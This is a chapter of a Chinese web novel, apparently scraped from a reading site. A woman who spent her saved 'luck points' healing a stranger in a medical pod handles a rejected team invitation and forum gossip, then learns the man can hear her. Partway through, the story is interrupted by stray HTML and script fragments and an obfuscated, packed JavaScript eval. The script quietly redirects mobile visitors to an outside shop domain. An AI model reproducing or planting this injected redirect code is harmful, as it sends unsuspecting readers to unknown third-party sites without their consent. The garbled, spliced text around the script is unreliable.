滴答,滴答,滴答。

    矮柜上的猫头鹰闹钟发出有节奏的声响,钟摆来回交错,时针已经悄然指向十二点。

    正午的阳光明亮而炽热,透过斑斓的玻璃窗射进来,将空气中轻轻漂浮着的尘埃照得亮晶晶。

    一枚绚丽的光斑照在男人眼睛上,他睫毛轻颤,缓缓掀起眼皮。

    阳光明媚,却有些晃眼,他蹙眉闭上眼睛,过了片刻,因眩光产生的视野白斑终于消失,他才睁开眼。

    首先映入眼帘的是泛着蓝色微光的弧形玻璃,玻璃上方硕大的圆盘型机器正发出嗡嗡的鸣响,粗细不一的管道从圆盘里伸出,连接到他脚边的舱口上。

    他试图抬起右手,却发现右手没有知觉,感知左手,是一样的结果。男人这才意识到,自己全身的肌肉处于麻痹状态。

    他看向自己的身体——几乎全身赤裸,一条治疗巾盖在自己的下腹和膝盖之间,红蓝交错的管线连在他的胸口和四肢上。

    他还没来得及打量四周的环境,就听见吱呀一声,这间屋子的房门被人打开了,脚步声和谈话声同时传了进来。

    “真的很抱歉,朱迪斯先生。请你再给一次机会,我的属性值——”

    “够了!我不想听你解释,你以后也不要再去我家堵我了!你这样真的很烦人知不知道!如果真的有诚意的话,上次就不会放我鸽子。我已经给过你机会了,你以为你是谁啊?只不过刚刚够上榜单的尾巴,就这么狂?你看看榜上其他人谁愿意搭理你啊?”电话那头,中年男声咆哮完,啪的一声挂断了电话。

    芙蕊皱了皱鼻子,委屈和不甘涌上心头,但她知道朱迪斯说的对,无论什么理由,是她没能按时赴约。

    她很倒霉:闹钟没电、电梯故障、汽车抛锚、机车爆胎、暴雨、打劫——倒霉事像排好队一样等着她。。

    好不容易积攒够的幸运值,花在了一个陌生人身上。

    想到这里,芙蕊朝医疗舱看去。

    “嗯?你醒了?”芙蕊有些惊讶,这个男人恢复得很快。

    芙蕊走到医疗舱前,躬下身,将脸凑到玻璃前,光洁的玻璃表面上反射出一张冷艳的脸庞。

    她有一头黑色齐肩长发,随着她俯身的动作,发丝一缕一缕从耳旁滑下,就像是从黑石板上坠落的水流。她的眉眼就像是在冰水里浸泡过一样,瞳仁黑沉沉的,看起来有些寒意。柔化了这股寒意的,是她那微微上翘的唇线,总是带着三分笑意。

    “你醒了?你伤得很重,回来后就一直在治疗舱里昏迷不醒。你现在感觉怎么样?”

    男人的目光落在她脸上,没有说话,像是在确认什么。

    “你现在感觉怎么样?”芙蕊再次问了一遍。

    片刻后,她依然没有得到回答。

    她敲了敲玻璃,“喂,你能听见我说话吗?”

    这期间,男人一直定定地看着她,芙蕊不得不和他对视上——这个男人的眼睛非常好看,眼褶很深,眼尾的弧度往上,睫毛又长又浓密。

    这人是哑了还是聋了?昏迷前明明和自己说过话的,怎么现在变成这样呆呆的?难道是创伤后遗症?

    “能听见我说话吗?听的见就点点头。”芙蕊说。

    男人却垂下视线,不再去看她,浓密的睫毛投下一片阴影,萦绕出一丝忧伤。

    听不见了?这表情,怎么像是受了巨大的委屈?

    莫名地,芙蕊的心蓦地一软。

    “我先看看你恢复得怎么样了吧。”她直起身,查看治疗舱上面的液晶屏,手指在上面飞快地滑动着,“你恢复得也太快了,普通人要是受了你那样的伤,就算勉强活下来,也会落下严重的后遗症。但你的各项指标都恢复得很好,而且才花了一周的时间……真是太不可思议了。”

    片刻后,她检查完所有的数据。

    芙蕊掏出终端,用投影打字给男人看:“一个好消息,你的身体已经完全恢复,你可以离开治疗舱了。”

    字刚打完,治疗舱发出呲——的一声。

    舱门缓缓打开,机械臂喷出一股白色雾气。

    不消片刻,雾气散去。没有了玻璃的阻隔,男人和芙蕊一个躺着,一个站着,只间隔了不到半米的距离。

    男人再次抬眼看向芙蕊。

    她接着打字:“但有个坏消息是,我给你注射了塞氧乙醇胺,一种对身体副作用很小的麻醉剂。毕竟你是一个陌生男人,在弄清楚你的来历之前,我不得不防着你,对吧?还有,为了救你,我付出了很大的代价,你必须给我回报。”

    男人看着她,眼皮纹丝不动,而他那琥珀色的眼瞳就像一颗冰冷的无机质宝石。

    这幅表情,让芙蕊困惑了。

    “你不会是想拒绝吧?那可是救命之恩。”芙蕊忍不住凑近了些,心里话也脱口而出。

    然而,回应芙蕊的除了沉默,依然是沉默。男人的睫毛一动不动,阳光在他薄薄的眼皮镀上了一层浅金色。

    滴答。滴答。滴答。

    闹钟的秒针不知转过了几圈,时间悄然流逝。

    “啊啊啊,好吧。”芙蕊终于崩溃了,她双手扶额,背贴着治疗舱往下滑,“救你用掉了我攒了半年的幸运值,但确实不能怪你。报恩什么的,是不能强求的。而且你现在这样,也不能帮到什么忙。”

    就在此时,个人终端里传来通话请求,是好友清水,芙蕊接通电话。

    “芙芙,你是不是去找朱迪斯组团了?”清水开门见山,语气中带着一丝焦急。

    “啊?怎么突然问这个?”找人组队跑团这种事情较为隐秘,清水是守密人,芙蕊没有告诉她。

    “朱迪斯那个大喇叭,把你几次上门拜访他的事情当作了谈资,四处宣扬。有人在‘调查员之家’里爆料这件事,短短一个小时,帖子上千人讨论,你现在已经上热搜了。”

    “好吧,我等下看看什么情况。”

    挂断电话,芙蕊蹙眉,同时调出“调查员之家”论坛。

    果然,在首页有好几个红色加粗的标题,后面还跟着表示热度的感叹号:

    “热脸贴尽冷屁股!美女三顾遭滑铁卢!”、“‘鱼鹰’放话:我的队友名额很贵的,不是什么人都能进!”,诸如此类的还有几个。</

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17812934|210944||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>

    爱好八卦和秘辛是人类天性,调查员也不能幸免。

    芙蕊都懒得点进去看,看这些标题就知道,是朱迪斯故意放消息来自抬身价。跑团是团队协作的活动,队友的能力要强,但又不能过于强,需要达到一种微妙的平衡。

    她对别人客气有礼,别人却用她这个刚上榜单的新人来当垫脚石。

    自己真是眼瞎啊!

    叮咚!脑海里传来幸运值增加的提示音,“幸运值加80!”

    芙蕊叹气,收起终端。行吧,这次算自己遇人不淑,但也积累了幸运值,情绪上勉强扯平。但行动上——她不是什么大度之人,这笔账先暂且记下。

    芙蕊站起身,电话再次响起来。

    “今天真是热闹啊。”芙蕊一看来电人是谁,就知道是打来干嘛的,她接通电话,打开免提,将话筒远远放在一边。

    “喂——”电话那头传来妩媚的女声,“芙蕊,这两天过得怎么样?你现在可是论坛上的大红人了啊!”

    “过得还不错。每天吃的好,睡得好,身体棒棒。”芙蕊伸个懒腰。

    电话那边明显愣怔了一下,继而道:“你看你天天吃吃睡睡,心怎么这么大啊。我要是你,我肯定都睡不着觉了,你的队友现在一个着落都还没有吧?我可是就差一个人就能组队了。”

    “你要邀请我吗?”芙蕊诚挚发问,似乎真的满含期待。

    对面再次一愣,笑道,“呀,你想多了。我没打算邀请你,毕竟你这么丧,可别把我的运气带差了。”

    这句话无异于踩着芙蕊的雷点蹦跶。

    “那你打电话来干什么呢?不怕我的霉运顺着电磁波糊到你脸上?你要是闲得慌,就去给蚊子做绝育手术。”

    “我……你……”对面力竭词穷了。

    芙蕊挂断电话,长叹口气,“欧米娜说的对,单打独斗没有办法报名S级调查团,我还是得想办法找到队友才行。不过朱迪斯这么一闹,我还能联系谁呢?”

    换做是普通人,被那么挂到论坛上公开处刑,可能会觉得颜面尽失而一蹶不振。

    但芙蕊不是普通人,她转眼就调整好了自己的情绪。

    她再次打开那篇帖子,用自己的账号在下面跟帖留言:“我确实亲自去邀请朱迪斯几次,他不愿意合作。不过没关系,借这个热帖,给我自己打个广告,诚意寻找合伙人跑S级调查团,有意者可私信。”

    发完帖子,关掉论坛。芙蕊捂住额头,忽然感到一阵焦躁,“最近遇到的垃圾也太多了吧。环卫局是缩编减员了吗?”

    “你要找什么样的队友?”头顶突然传来低沉的男声。

    “嗯?”芙蕊抬头,看向上方躺着的人,从这个角度,只能看见男人的侧脸。

    “你刚刚——”

    男人的话还没有说完,芙蕊已经跳了起来,她倾身向前,险些扑到他身上,又顾忌着他的伤口,眼疾手快将手撑在舱边。

    她俯视着他,“你什么时候恢复的听力?”

    男人的视线在她的眼睛上停留了三秒又移开,“醒来就能听见,只是刚才不想说话。”